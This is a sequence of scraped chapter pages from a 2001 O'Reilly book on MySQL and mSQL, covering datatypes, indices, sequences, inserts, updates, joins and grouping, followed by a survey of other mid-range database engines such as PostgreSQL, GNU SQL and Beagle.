Every piece of data you will ever encounter can be stored using numeric or character types. Technically, you could even store numbers as character types. Just because you can do so, however, does not mean that you should do so. Consider, for example, storing money in the database. You could store that as an INT or a REAL. While a REAL might seem more intuitive -- money requires decimal places, after all -- an INT actually makes more sense. With floating point values like REAL fields, it is often impossible to capture a number with a specific decimal value. If, for example, you insert the number 0.43 to represent $0.43, MySQL and mSQL may store that as 0.42999998. This small difference can be problematic when applied to a large number of mathematical operations. By storing the number as an INT and inserting the decimal into the right place, you can be certain that the value represents exactly what you intend it to represent.

Isn't all of that a major pain? Wouldn't it be nice if MySQL and mSQL provided some sort of datatype specifically suited to money values? MySQL and, to a lesser degree, mSQL both provide special datatypes to handle special kinds of data. MONEY is an example of one of these kinds of data. DATE is another. For a full description of all datatypes, see Chapter 17, "MySQL and mSQL Programs and Utilities".

Previous | Home | Next
6.2. Creating and Dropping Tables | Book Index | 6.4. Indices
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Indices (MySQL & mSQL)

 MySQL and mSQLSearch this book

6.4. Indices

While MySQL and mSQL both have greater performance than any of the larger database servers, some problems still call for careful database design. For instance, if we had a table with millions of rows of data, a search for a specific row would take a long time. As we discussed in Chapter 2, "Database Design", most database engines enable you to help it in these searches through a tool called an index.

Indices help the database store data in a way that makes for quicker searches. Unfortunately, you sacrifice disk space and modification speed for the benefit of quicker searches. The most efficient use of indices is to create an index for columns on which you tend to search the most. MySQL and mSQL support a common syntax for index creation:

CREATE INDEX index_name ON tablename (column1,
                                      column2,
                                      ...,
                                      columnN)

MySQL also lets you create an index at the same time you create a table using the following syntax:

CREATE TABLE materials (id         INT      NOT NULL,
                        name       CHAR(50) NOT NULL,
                        resistance INT,
                        melting_pt REAL,
                        INDEX index1 (id, name),
                        UNIQUE INDEX index2 (name))

The previous example creates two indices for the table. The first index -- named index1 -- consists of both the id and name fields. The second index includes only the name field and specifies that values for the name field must always be unique. If you try to insert a field with a name held by a row already in the database, the insert will fail. All fields declared in a unique index must be declared as being NOT NULL .

Even though we created an index for name by itself, we did not create an index for just id. If we did want such an index, we would not need to create it -- it is already there. When an index contains more than one column (for example: name, rank, and serial_number), MySQL reads the columns in order from left to right. Because of the structure of the index MySQL uses, any subset of the columns from left to right are automatically created as indices within the "main" index. For example, name by itself and name and rank together are both "free" indices created when you create the index name, rank, serial_number. An index of rank by itself or name and serial_number together, however, is not created unless you explicitly create it yourself.

MySQL also supports the ANSI SQL semantics of a special index called a primary key. In MySQL, a primary key is a unique key with the name PRIMARY. By calling a column a primary key at creation, you are naming it as a unique index that will support table joins. The following example creates a cities table with a primary key of id.

CREATE TABLE cities (id      INT  NOT NULL PRIMARY KEY,
                     name    VARCHAR(100),
                     pop     MEDIUMINT,
                     founded DATE)

Before you create a table, you should determine which fields, if any, should be keys. As we mentioned above, any fields which will be supporting joins are good candidates for primary keys. See Chapter 2, "Database Design" for a detailed discussion on how to design your tables with good primary keys.

Previous | Home | Next
6.3. SQL Datatypes | Book Index | 6.5. Sequences and Auto-Incrementing
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sequences and Auto-Incrementing (MySQL & mSQL)

 MySQL and mSQLSearch this book

6.5. Sequences and Auto-Incrementing

The best kind of primary key is one that has absolutely no meaning in the database except to act as a primary key. The best way to achieve this is to make a numeric primary key that increments every time you insert a new row. Looking at the cities table shown earlier, the first city you insert would have an id of 1, the second 2, the third 3, and so on. In order to successfully manage this sequencing of a primary key, you need some way to guarantee that a number can be read and incremented by one and only one client at a time. Under transactional databases, you could create a table called sequence that has a number representing the next id. When you need to insert a new row, you would read that table and insert a new number one more than the one you read. You must be assured that no one else will read from that table before you insert a new value, however, in order for that scheme to work. Otherwise, two clients could read the same value and attempt to use it as a primary key value in the same table.

Neither MySQL nor mSQL support transactions, so the previously identified mechanism cannot be used for generating unique ID numbers. The MySQL command LOCK TABLE is cumbersome for this task. However, both engines support their own variant of a concept called a sequence, which enables you to generate unique ID numbers without worrying about those transactional issues.

6.5.1. MySQL Sequences

When you create a table in MySQL, you can specify at most one column as being AUTO_INCREMENT. When you do this, you can automatically have this column insert the highest current value for that column + 1 when you insert a row and specify NULL or for that row's value. The AUTO_INCREMENT row must be indexed. The following command creates the cities table with the id field being AUTO_INCREMENT:

CREATE TABLE cities (id      INT  NOT NULL PRIMARY KEY AUTO_INCREMENT,
                     name    VARCHAR(100),
                     pop     MEDIUMINT,
                     founded DATE)

The first time you insert a row, the id field for your first row will be 1 so long as you use NULL or for that field in the INSERT statement. For example, this command takes advantage of the AUTO_INCREMENT feature:

INSERT INTO cities (id, name, pop)
VALUES (NULL, 'Houston', 3000000)

If no other values are in that table when you issue this command, MySQL will set this field to 1, not NULL (remember, it cannot be NULL). If other values are present in the table, the value inserted will be one greater than the largest current value for id.

Another way to implement sequences is by referring to the value returned by the LAST_INSERT_ID function:

UPDATE table SET id=LAST_INSERT_ID (id+1);

6.5.2. mSQL Sequences

Each mSQL table can have at most one sequence associated with it. The following syntax creates a sequence on a table:

CREATE SEQUENCE ON table_name [VALUE start STEP incr]

The start value is the number to start with. The incr value is the amount to increment on each access. By default, a sequence starts with 1 and increments 1 at a time. For example:

CREATE SEQUENCE ON mytable VALUE 100 STEP 5

This command creates a sequence on the mytable table whose first value will be 100 and will increase by 5 each time some accesses the sequence. The second value under this scheme would therefore be 105.

In order to access a sequence, you need to select a special column called _seq from the table:

SELECT _seq FROM table_name

This will both return to you the next value in the sequence and increment it.

Previous | Home | Next
6.4. Indices | Book Index | 6.6. Managing Data
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Managing Data (MySQL & mSQL)

 MySQL and mSQLSearch this book

6.6. Managing Data

The first thing you do with a newly created table is add data to it. With the data in place, you may want to make changes and eventually remove it.

6.6.1. Inserts

Adding data to a table is one of the more straightforward concepts in SQL. You have already seen several examples of it in this book. Both MySQL and mSQL support the standard SQL INSERT syntax:

INSERT INTO table_name (column1, column2, ..., columnN)
VALUES (value1, value2, ..., valueN)

When inserting data into numeric fields, you can insert the value as is; for all other fields, you must wrap them in single quotes. For example, to insert a row of data into a table of addresses, you might issue the following command:

INSERT INTO addresses (name, address, city, state, phone, age)
VALUES('Irving Forbush', '123 Mockingbird Lane', 'Corbin', 'KY',
       '(800) 555-1234', 26)

In addition, the escape character -- `\' by default -- enables you to escape single quotes and other literal instances of the escape character:

# Insert info for the directory Stacie's Directory which
# is in c:\Personal\Stacie
INSERT INTO files (description, location)
VALUES ('Stacie\'s Directory', 'C:\\Personal\\Stacie')

MySQL allows you to leave out the column names as long as you specify a value for every single column in the table in the exact same order they were specified in the table's CREATE call. If you want to use the default values for a column, however, you must specify the names of the columns for which you intend to insert nondefault data. If you do not have a default value set up for a column and that column is NOT NULL, you must include that column in the INSERT statement with a non-NULL value. If the earlier files table had contained a column called size, then the default value would be used. Under mSQL, the default value is always NULL. MySQL allows you to specify a custom default value in the table's CREATE.

Newer versions of MySQL support a nonstandard INSERT call for inserting multiple rows at once:

INSERT INTO foods VALUES (NULL, 'Oranges', 133, 0, 2, 39),
                         (NULL, 'Bananas', 122, 0, 4, 29),
                         (NULL, 'Liver', 232, 3, 15, 10)

NOTE

While these nonstandard syntaxes supported by MySQL are useful for quick system administration tasks, you should not use them when writing database applications unless you really need the speed benefit they offer. As a general rule, you should stick as close to the ANSI SQL2 standard as MySQL and mSQL will let you. By doing so, you are making certain that you can move to some other database at some point in the future. Being flexible is especially critical for people with mid-range database needs because such users generally hope one day to become people with high-end database needs.

MySQL supports the SQL2 syntax for inserting the values of a SELECT call into a table:

INSERT INTO foods (name, fat)
SELECT food_name, fat_grams FROM recipes

You should note that the number of columns in the INSERT matches the number of columns in the SELECT. In addition, the datatypes for the INSERT columns must match the datatypes for the corresponding SELECT columns. Finally, the SELECT clause in an INSERT statement cannot contain an ORDER BY modifier and cannot be selected from the same table where the INSERT is occurring.

6.6.2. Updates

The insertion of new rows into a database is just the start of database use. Unless your database is read-only, you will probably also need to make periodic changes to the data. The standard SQL modification statement looks like this:

UPDATE table_name
SET column1=value1, column2=value2, ..., columnN=valueN
[WHERE clause]

Under mSQL, the value you assign to a column must be a literal of the column's datatype. MySQL, in contrast, enables you to calculate the assigned value. You can even calculate the value based on a value in another column:

UPDATE years
SET end_year = begin_year+5

This command sets the value in the end_year column equal to the value in the begin_year column plus 5 for each row in that table.

6.6.3. The WHERE Clause

You probably noted something earlier called the WHERE clause. In SQL, a WHERE clause enables you to pick out specific rows in a table by specifying a value that must be matched by the column in question. For example:

UPDATE bands
SET lead_singer = 'Ian Anderson'
WHERE band_name = 'Jethro Tull'

This UPDATE specifies that you should only change the lead_singer column for the row where band_name is identical to "Jethro Tull." If the column in question is not a unique index, that WHERE clause may match multiple rows. Many SQL commands employ WHERE clauses to help pick out the rows on which you wish to operate. Because the columns in the WHERE clause are columns on which you are searching, you should generally have indices created around whatever combinations you commonly use.

6.6.4. Deletes

Deleting data is a very straightforward operation. You simply specify the table from which you want to delete followed by a WHERE clause that identifies the rows you want to delete:

DELETE FROM table_name [WHERE clause]

As with other commands that accept a WHERE clause, the WHERE clause is optional. In the event you leave out the WHERE clause, you will delete all of the records in the table! Of all destructive commands in SQL, this is the easiest one to issue mistakenly.

Previous | Home | Next
6.5. Sequences and Auto-Incrementing | Book Index | 6.7. Queries
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Queries (MySQL & mSQL)

 MySQL and mSQLSearch this book

6.7. Queries

The last common SQL command used is the one that enables you to view the data in the database: SELECT. This action is by far the most common action performed in SQL. While data entry and modifications do happen on occasion, most databases spend the vast majority of their lives serving up data for reading. The general form of the SELECT statement is as follows:

SELECT column1, column2, ..., columnN
FROM table1, table2, ..., tableN
[WHERE clause]

This syntax is certainly the most common way in which you will retrieve data from any SQL database. Of course, there are variations for performing complex and powerful queries, especially under MySQL. We cover the full range of the SELECT syntax in Chapter 15, "SQL Reference".

The first part of a SELECT statement enumerates the columns you wish to retrieve. You may specify a "*" to say that you want to select all columns. The FROM clause specifies which tables those columns come from. The WHERE clause identifies the specific rows to be used and enables you to specify how to join two tables.

6.7.1. Joins

Joins put the "relational" in relational databases. Specifically, a join enables you to match a row from one table up with a row in another table. The basic form of a join is what you may hear sometimes described as an inner join . Joining tables is a matter of specifying equality in columns from two tables:

SELECT book.title, author.name
FROM author, book
WHERE book.author = author.id

Consider a database where the book table looks like Table 6-1.

Table 6-1. A book Table

ID | Title | Author | Pages
1 | The Green Mile | 4 | 894
2 | Guards, Guards! | 2 | 302
3 | Imzadi | 3 | 354
4 | Gold | 1 | 405
5 | Howling Mad | 3 | 294

And the author table looks like Table 6-2.

An inner join creates a table by combining the fields of both tables for rows that satisfy the query in both tables. In our example, the query specifies that the author field of the book table must be identical to the id field of the author table. The query's result would thus look like Table 6-3.

Table 6-2. An author Table

ID | Name | Citizen
1 | Isaac Asimov | US
2 | Terry Pratchet | UK
3 | Peter David | US
4 | Stephen King | US
5 | Neil Gaiman | UK

An inner join creates a table by combining the fields of both tables for rows that satisfy the query in both tables. In our example, the query specifies that the author field of the book table must be identical to the id field of the author table. The query's result would thus look like Table 6-3.

Neil Gaiman is nowhere to be found in these results. He is left out because there is no value for his author.id value found in the book.author table. An inner join only contains those rows that exactly match the query. We will discuss the concept of an outer join later in the chapter for situations where we would be interested in the fact that we have an author in the database who does not have a book in the database.

Table 6-3. Query Results Based on an Inner Join

Book Title | Author Name
The Green Mile | Stephen King
Guards, Guards! | Terry Pratchet
Imzadi | Peter David
Gold | Isaac Asimov
Howling Mad | Peter David

Neil Gaiman is nowhere to be found in these results. He is left out because there is no value for his author.id value found in the book.author table. An inner join only contains those rows that exactly match the query. We will discuss the concept of an outer join later in the chapter for situations where we would be interested in the fact that we have an author in the database who does not have a book in the database.

6.7.2. Aliasing

When you use column names that are fully qualified with their table and column name, the names can grow to be quite unwieldy. In addition, when referencing SQL functions, which will be discussed later in the chapter, you will likely find it cumbersome to refer to the same function more than once within a statement. The aliased name, usually shorter and more descriptive, can be used anywhere in the same SQL statement in place of the longer name. For example:

# A column alias
SELECT long_field_names_are_annoying AS myfield
FROM table_name
WHERE myfield = 'Joe'
# A table alias under MySQL
SELECT people.names, tests.score
FROM tests, really_long_people_table_name AS people
# A table alias under mSQL
SELECT people.names, tests.score
FROM tests, really_long_people_table_name=people

While mSQL fully supports table aliasing, it does not support column aliasing.

6.7.3. Grouping and Ordering

The results you get back from a select are, by default, indeterminate in the order they will appear. Fortunately, SQL provides some tools for imposing order on this seemingly random list. The first tool -- available in both MySQL and mSQL -- is ordering. You can tell a database that it should order any results you see by a certain column. For example, if you specify that a query should order the results by last_name, then the results will appear alphabetized according to the last_name value. Ordering comes in the form of the ORDER BY clause:

SELECT last_name, first_name, age
FROM people
ORDER BY last_name, first_name

In this situation, we are ordering by two columns. You can order by any number of columns, but the columns must be named in the SELECT clause. If we had failed to select the last_name above, we could not have ordered by the last_name field.

Grouping is an ANSI SQL tool that MySQL implements but mSQL does not. Because mSQL does not have any concept of aggregate functions, grouping simply does not make sense in mSQL. As its name implies, grouping lets you group rows with a similar value into a single row in order to operate on them together. You usually do this to perform aggregate functions on the results. We will go into functions a little later in the chapter.

Consider the following:

mysql> SELECT name, rank, salary FROM people\g
+--------------+----------+--------+
| name         | rank     | salary |
+--------------+----------+--------+
| Jack Smith   | Private  |  23000 |
| Jane Walker  | General  | 125000 |
| June Sanders | Private  |  22000 |
| John Barker  | Sargeant |  45000 |
| Jim Castle   | Sargeant |  38000 |
+--------------+----------+--------+
5 rows in set (0.01 sec)

If you group the results by rank, the output changes:

mysql> SELECT rank FROM people GROUP BY rank\g
+----------+
| rank     |
+----------+
| General  |
| Private  |
| Sargeant |
+----------+
3 rows in set (0.01 sec)

Now that you have the output grouped, you can finally find out the average salary for each rank. Again, we will discuss more on the functions you see in this example later in the chapter.

mysql> SELECT rank, AVG(salary) FROM people GROUP BY rank\g
+----------+-------------+
| rank     | AVG(salary) |
+----------+-------------+
| General  | 125000.0000 |
| Private  |  22500.0000 |
| Sargeant |  41500.0000 |
+----------+-------------+
3 rows in set (0.04 sec)

The power of ordering and grouping combined with the utility of SQL functions enables you to do a great deal of data manipulation even before you retrieve the data from the server. You should take great care not to rely too heavily on this power. While it may seem like an efficiency gain to place as much processing load as possible onto the database server, it is not really the case. Your client application is dedicated to the needs of a particular client, while the server is being shared by many clients. Because of the greater amount of work a server already has to do, it is almost always more efficient to place as little load as possible on the database server. MySQL and mSQL may be two of the fastest databases around, but you do not want to waste that speed on processing that a client application is better equipped to manage.

If you know that a lot of clients will be asking for the same summary information often (for instance, data on a particular rank in our previous example), just create a new table containing that information and keep it up to date as the original tables change. This is similar to caching and is a common database programming technique.

Previous | Home | Next
6.6. Managing Data | Book Index | 6.8. Extended Functionality
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Extended Functionality (MySQL & mSQL)

 MySQL and mSQLSearch this book

6.8. Extended Functionality

Both MySQL and mSQL have a few quirky extensions that do not really have counterparts in the other database engine. Most of MySQL's extensions are generally in line with the ANSI SQL standard. mSQL's extensions are simply related to special variables you can access while working with an mSQL database.

6.8.1. MySQL Features

MySQL goes well beyond mSQL's support for SQL by supporting functions and a limited concept of outer joins. Functions in SQL are similar to functions in other programming languages like C and Perl. The function takes zero or more arguments and returns some value. For example, the function SQRT(16) returns 4. Within a MySQL SELECT statement, functions may be used in either of two places:

As a value to be retrieved

This form involves a function in the place of a column in the list of columns to be retrieved. The return value of the function, evaluated for each selected row, is part of the returned result set as if it were a column in the database. For example:

# Select the name of each event as well as the date of the event
# formatted in a human-readable form for all events more
# recent than the given time. The FROM_UnixTIME() function
# transforms a standard Unix time value into a human
# readable form.
SELECT name, FROM_UnixTIME(date)
FROM events
WHERE time > 90534323

# Select the title of a paper, the full text of the paper,
# and the length (in bytes) of the full text for all
# papers authored by Stacie Sheldon.
# The LENGTH() function returns the character length of
# a given string.
SELECT title, text, LENGTH(text)
FROM papers
WHERE author = 'Stacie Sheldon'
As part of a WHERE clause

This form involves a function in the place of a constant when evaluating a WHERE clause. The value of the function is used for comparison for each row of the table. For example:

# Randomly select the name of an entry from a pool of 35
# entries. The RAND() function generates a random number
# between 0 and 1 (multiplied by 34 to make it between 0
# and 34 and incremented by 1 to make it between 1 and
# 35). The ROUND() function returns the given number
# rounded to the nearest integer, resulting in a whole
# number between 1 and 35, which should match one of
# the ID numbers in the table.
SELECT name
FROM entries
WHERE id = ROUND( (RAND()*34) + 1 )

# You may use functions in both the value list and the
# WHERE clause. This example selects the name and date
# of each event less than a day old. The UNIX_TIMESTAMP()
# function, with no arguments, returns the current time
# in Unix format.
SELECT name, FROM_UnixTIME(date)
FROM events
WHERE time > (Unix_TIMESTAMP() - (60 * 60 * 24) )

# You may also use the value of a table field within
# a function. This example returns the name of anyone
# who used their name as their password. The ENCRYPT()
# function returns a Unix password-style encryption
# of the given string using the supplied 2-character salt.
# The LEFT() function returns the left-most n characters
# of the given string.
SELECT name
FROM people
WHERE password = ENCRYPT(name, LEFT(name, 2))

Finally, MySQL supports a more powerful joining than the simple inner joins we have used so far. Specifically, MySQL supports something called a left outer join (also known as simply outer join). This type of join is similar to an inner join, except that it includes data in the first column named that does not match any in the second column. If you remember our author and book tables from earlier in the chapter, you will remember that our join would not list any authors who did not have a book in our database. It is common that you may want to show entries from one table that have no corresponding data in the table to which you are joining. That is where an outer join comes into play:

SELECT book.title, author.name
FROM author
LEFT JOIN book ON book.author = author.id

Note that a outer join uses the keyword ON instead of WHERE. The results of our query would look like this:

+----------------+----------------+
| book.title     | author.name    |
+----------------+----------------+
| The Green Mile | Stephen King   |
| Guards, Guards!| Terry Pratchett|
| Imzadi         | Peter David    |
| Gold           | Isaac Asimov   |
| Howling Mad    | Peter David    |
| NULL           | Neil Gaiman    |
+----------------+----------------+

MySQL takes this concept one step further through the use of a natural outer join. A natural outer join will combine the rows from two tables where the two tables have identical column names with identical types and the values in those columns are identical:

SELECT my_prod.name
FROM my_prod
NATURAL LEFT JOIN their_prod

6.8.2. mSQL Features

mSQL has five "system variables" that you can include in any query. We have already covered one of those values, _seq. The others are:

_rowid

A unique identifier corresponding to a row of data being returned. You can use it with subsequent UPDATE or DELETE statements to improve efficiency. This approach, however, is definitely not recommended because multiple clients can mess each other up. Specifically, two clients can select the same row. The first one deletes it and then a third client inserts a new row. The new row can have the same _rowid value as the deleted row. If the second client then tries to update or delete using that _rowid, it will affect data it did not intend to affect.

_timestamp

The time when the row in question was last modified. Under the current version of mSQL, this value is in the standard Unix time format. This behavior may change in future versions, so you should only use this value to compare with timestamps in other rows.

_sysdate

Returns the current time on the mSQL server. This time can be used to ensure that all times used in the database are synchronized even if the clients are on systems with varying times. This time is given in the standard Unix format and will be the same no matter which table you select it from.

_user

This value holds the name of the user for the current client connection. As with _sysdate, this value is not dependent on the table from which you choose to select it.

Previous | Home | Next
6.7. Queries | Book Index | 7. Other Mid-Range Database Engines
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Other Mid-Range Database Engines (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 7. Other Mid-Range Database Engines

Contents:

What Is "Free"?
What MySQL and mSQL Lack
PostgreSQL
GNU SQL
Beagle
Making Comparisons

When mSQL first appeared on the scene, it was the only mid-range database engine supporting SQL. It did not hold that distinction very long. Of course, you already know about one other such database: MySQL. In the years since mSQL's introduction, however, a handful of mid-range database engines have been released. In this book, we have focused on MySQL and mSQL due to their overwhelming similarities and their unequalled popularity. It would, however, be an injustice to fail to mention the other databases out there.

People use databases for so many things that it is hard to capture all of the tools for all possible uses in one package. The major database vendors attempt that goal. They pay for it in terms of performance and you pay for it in terms of price. The low-end database engines, on the other hand, are so very specialized as to be of little use to the small business or nonprofit organization or anyone else with unusual needs. The mid-range database engines fill an important void between the two extremes.

At this point, we have only looked at two very similar views of meeting mid-range database requirements. These approaches are definitely not the only ones. There is no law, for example, that says just because you are not a big company that you do not need transaction support. Some users in the mid-range may also need triggers, subselects, stored procedures, object-oriented support, or any of a host of potential features -- they just do not need them all. The different mid-range database engines thus serve import needs that may not be served by MySQL or mSQL.

7.1. What Is "Free"?

You may occasionally hear people refer to MySQL and mSQL as being "free." When you hear people compare MySQL and mSQL, they may even make the claim that MySQL is "more free" than mSQL. Common sense chokes on the expression "more free." The software world, however, has actually invented the idea of "degrees of freeness."

Until now, we have been consciously avoiding discussing MySQL and mSQL as "free" database engines due to "free" being such a loaded term in the software world. Both engines may actually cost you money for a license. It depends on who you are. Under the licenses in play at the time of this book's printing, a university does not have to pay a licensing fee for either database engine. A commercial user of mSQL, however, must pay for a license. When people claim MySQL is "more free" than mSQL, what they mean is that MySQL costs nothing for more people than mSQL does.

Another issue that affects the concept of "free" in the software world has little to do with price. It has to do with the ability to view and modify the source code without paying extra. Under this model, both MySQL and mSQL are totally free database engines. You can go to their download sites and get them in source form. If you are one of those users who has to pay to use MySQL or mSQL, you do not have to pay any more for the source.

The software world has come up with a new term designed to get around the overloaded concept of "free". It is called Open Source. In fact, the term "Open Source" is now a trademark meaning software whose source code is open regardless of the charges associated with using the software. Linux, Netscape, FreeBSD, Perl, Apache, all GNU products, as well as many products in this book like MySQL, mSQL, mm.mysql.jdbc, and mSQL-JDBC (just to name a few) are all Open Source products.

The other database engines we mention in this chapter are also Open Source products. Open source is very important to the mid-range world because the big guys tend to view that market as too small to merit their attention and the low-end developers see the mid-range as too complicated to merit theirs.

Previous | Home | Next
6.8. Extended Functionality | Book Index | 7.2. What MySQL and mSQL Lack
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What MySQL and mSQL Lack (MySQL & mSQL)

 MySQL and mSQLSearch this book

7.2. What MySQL and mSQL Lack

The word "lack" is chosen here in absence of a better term. As we noted earlier in the book, both MySQL and mSQL have consciously chosen to leave out features that will impact performance. In other words, for MySQL and mSQL, performance is the name of the game. Some mid-range users, however, may be willing to sacrifice a little performance for some other features. In order to understand what other mid-range databases offer, then, it helps to know the things that MySQL and mSQL have left out.

NOTE

MySQL intends to eventually include some of these features with the ability to turn them off if you do not want them. At the time of printing, we are aware that Monty wants to implement a stored procedure mechanism and subselects and perhaps even transactions.

7.2.1. Transactions

Transactions enable you to group multiple SQL statements together as one unit of work. By grouping statements together, you can be certain that no one else will see a partially changed database. You also know that if one of the statements fail, the entire unit of work fails. One way of visualizing transactions is as the intersection of a busy road. A single-threaded queuing system, such as mSQL, is like having a four-way stop at the intersection. Each car takes its turn, one at a time. If two cars are in a caravan through the intersection, they risk being split up at the stop sign.

A multithreaded locking system, such as MySQL, is more like having a traffic officer instead of stop signs. The traffic can fly through the intersection in any order and at any speed and the officer intelligently makes sure there are no collisions. If two cars come through the intersection from opposite directions at the same time, the officer tells one of them to halt and wait for the other to get through the intersection.

Transactions resemble a stop-light system. Incoming traffic halts at a red light for a period while traffic traveling together in the other direction moves through the intersection.

A practical example might be a banking application where a transfer from savings to checking involves changing the balance in the savings and then changing the balance in the checking. This application might have these two SQL statements:

# Deduct $100 from the $110 in the savings account
UPDATE account
SET balance = 10.00
WHERE id = 1234
# Add $100 to the $55 in the checking account
UPDATE account
SET balance = 155.00
WHERE id = 5678

Between the two updates, another transaction could be issued by another client that checks the balance of the checking and savings accounts to see if there is enough money for a check. If that were to happen, the check would bounce. Worse still, if the server crashed between the two updates, your client would have just lost $100 to the bit bucket.

By wrapping those two statements in a transaction, you are saying that they both must succeed or fail together. If the first one succeeds but the second one fails, you can issue something called a "rollback" that returns the database to its state before you began the transaction. Similarly, no one else can touch the files you are modifying until you are done with your work.[10] MySQL lets you partially emulate transactions by using LOCK TABLES. Locks should work adequately for preventing corruption, but they do not provide the ability to roll back operations. mSQL has no transaction support.

[10]There are special nuances to this feature called "transaction isolation" values. Sometimes you may not care if people have read-only views of inconsistent data. By allowing them to do so, you speed up the database by not having them wait on transactions to complete.

7.2.2. Triggers

Triggers are a feature closely related to transactions. To carry the traffic analogy one step further, imagine a police officer sitting on a hill overlooking the intersection. Should one of the cars do something illegal, the officer enters traffic and pursues the offending car.

A trigger is one or more SQL statements stored in the database that are executed whenever some predefined event occurs. Triggers are a method of automating monitoring tasks. Whenever a certain condition is met, the trigger can act upon data or simply report that the triggering event took place.

7.2.3. Stored Procedures

At their simplest, stored procedures are simply one or more SQL statements stored in the database under some simple name to encapsulate a certain behavior. In the example of the account transfer mentioned above, you could simply store those two SQL statements as a single stored procedure called "transfer." Your application passes the stored procedure the two account numbers and an amount and it executes those two SQL statements in a single transaction.

On a more complex level, stored procedures may add to the basic SQL syntax so that it looks more like a traditional programming language. Oracle's PL/SQL and Sybase/Microsoft's TransactSQL are two examples of such SQL extensions. You may often hear of people using these kinds of stored procedures to "put the business logic in the database."

7.2.4. Subselects

The standard SQL SELECT statement enables complete access to all of the data stored within a table -- if you know what you are looking for. Unless you are willing to retrieve the entire contents of the table, the most basic form of SELECT requires you to input at least a portion of the data you wish to retrieve. For example, SELECT name FROM friends WHERE name LIKE 'B%' requires you to know at least one letter of the name you are looking for. More specifically, what if you wanted to know who was making more than the average salary? The query would look something like:

SELECT name FROM people WHERE salary > ???

Greater than what? You do not have any idea what the average salary is unless you select that! You need to take the value of SELECT AVG(salary) FROM people and plug it into the earlier query. A subselect enables you to do this:

SELECT name
FROM people
WHERE salary > (SELECT AVG(salary) FROM people)

7.2.5. Objects

Relational databases are not the end of the line for databases. You will also find plenty of object-relational and object-oriented databases. In the high-end market, the idea of a pure relational database is slowly disappearing. The new SQL3 standard will incorporate many of the changes in the high-end market for support of objects.

To a Relational Database Management (RDBMS), all data is stored in tables, which are simply a list of records, which in turn are collections of bits that represent text, numbers, or other kinds of data. In an Object-oriented Database Management System (OODBMS), the fundamental unit of data is an object. An object may not only contain the kinds of data found in relational systems, but it may contain other objects or multidimensional data like arrays or even executable functions -- more commonly called methods in the object world.

Previous | Home | Next
7. Other Mid-Range Database Engines | Book Index | 7.3. PostgreSQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


PostgreSQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

7.3. PostgreSQL

The current incarnation of the Postgres Object-Relational Database Management System is known as PostgreSQL (a.k.a. Postgres 6). While Postgres has had SQL capabilities for only three years, the system itself is over a decade old. In the early 1980s, Dr. Michael Stonebreaker of the University of California at Berkeley designed a database system that pioneered many of the concepts found in today's relational database systems. This database engine was known as Ingres (later University Ingres). Ingres was a free, university funded project that quickly gathered a following among other computer scientists around the world.

One company saw the business potential in this academic product and it eventually trademarked and commercialized Ingres as a product. The original, free version of Ingres was renamed University Ingres and its development continued independent of the commercial version.

After a period of time, Dr. Stonebreaker's research led him further away from the original design goals of Ingres. He decided that it was time to design a completely new database system that extended the ideas of Ingres and went beyond into new territory. The database system became known as Postgres for Post-Ingres.

Postgres, like Ingres, was a university funded project that has been free to the public. Also like Ingres, the commercial sector took notice of Postgres and the commercial product Illustra[11] was born. Free Postgres has continued on and ranks up there in popularity with MySQL and mSQL for mid-range database servers.

[11]Illustra was bought out by Informix in 1995 and is now part of their Universal Server product.

In 1995, two developments happened that shaped the future of Postgres. First, two of Dr. Stonebreaker's graduate students, Andrew Yu and Jolly Chen, designed an SQL interface into Postgres. Here, a few years after David Hughes first developed MiniSQL as a SQL front-end to Postgres, Postgres finally had a true SQL front-end. With SQL support came increased popularity. As with both mSQL and MySQL, an increase in popularity brought on an increase for demand in new features. The result was an object-relational database engine for the mid-range that supports transactions, triggers, and subselects. You can find out more about PostgreSQL at http://www.postgresql.org.

Previous | Home | Next
7.2. What MySQL and mSQL Lack | Book Index | 7.4. GNU SQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


GNU SQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

7.4. GNU SQL

The GNU project is the symbol of freedom to many in the computer industry. An official GNU product is guaranteed to be freely available with full permission to modify and change the source code. You can find GNU versions of most any utility found in the Unix environment -- including the editor (Emacs), shell (bash), and operating system kernel (Hurd). Until recently, one glaring omissions has been a database management system.

The Institute for System Programming at the Russian Academy of Science is working hard to change that. A couple of years ago, they released the first public beta of GNU SQL, a completely functional SQL RDBMS under the GNU Public License (GPL). A the time of this book's printing, GNU SQL is at version 0.7beta.

When GNU SQL was conceived, the SQL2 specification had not been finalized. Because of this, the initial releases of GNU SQL would provide only SQL89 functionality, with SQL2 features being added as they went.

GNU SQL currently supports many advanced features such as transactions, subselects, and cursors. Because this product is beta, we do not recommend it for production use. As it matures, however, it is certainly going to be worth looking at. You can find out more information on GNU SQL at http://www.ispras.ru/~kml/gss/index.html.

Previous | Home | Next
7.3. PostgreSQL | Book Index | 7.5. Beagle
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Beagle (MySQL & mSQL)

 MySQL and mSQLSearch this book

7.5. Beagle

Beagle is a free SQL engine designed and implemented by Robert Klein. Like GNU SQL, Beagle is planned to be a fully SQL compliant server with all of the features, including the object-relational extensions pioneered by PostgreSQL. Also like GNU SQL, Beagle is very much a work in progress. At the time of this book's printing, it had reached a level of sophistication where it is reliable and usable as a test or development server. It should not yet be used in a production environment.

One of the most interesting aspects of Beagle is that the author maintained a history log from the very beginning of the project. By examining the log, you can get a peek at the development of an SQL server from a simple TCP client/server test application to the almost fully functional SQL server it is today. The Beagle home page is located at http://www.beaglesql.org.

Previous | Home | Next
7.4. GNU SQL | Book Index | 7.6. Making Comparisons
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Making Comparisons (MySQL & mSQL)

 MySQL and mSQLSearch this book

7.6. Making Comparisons

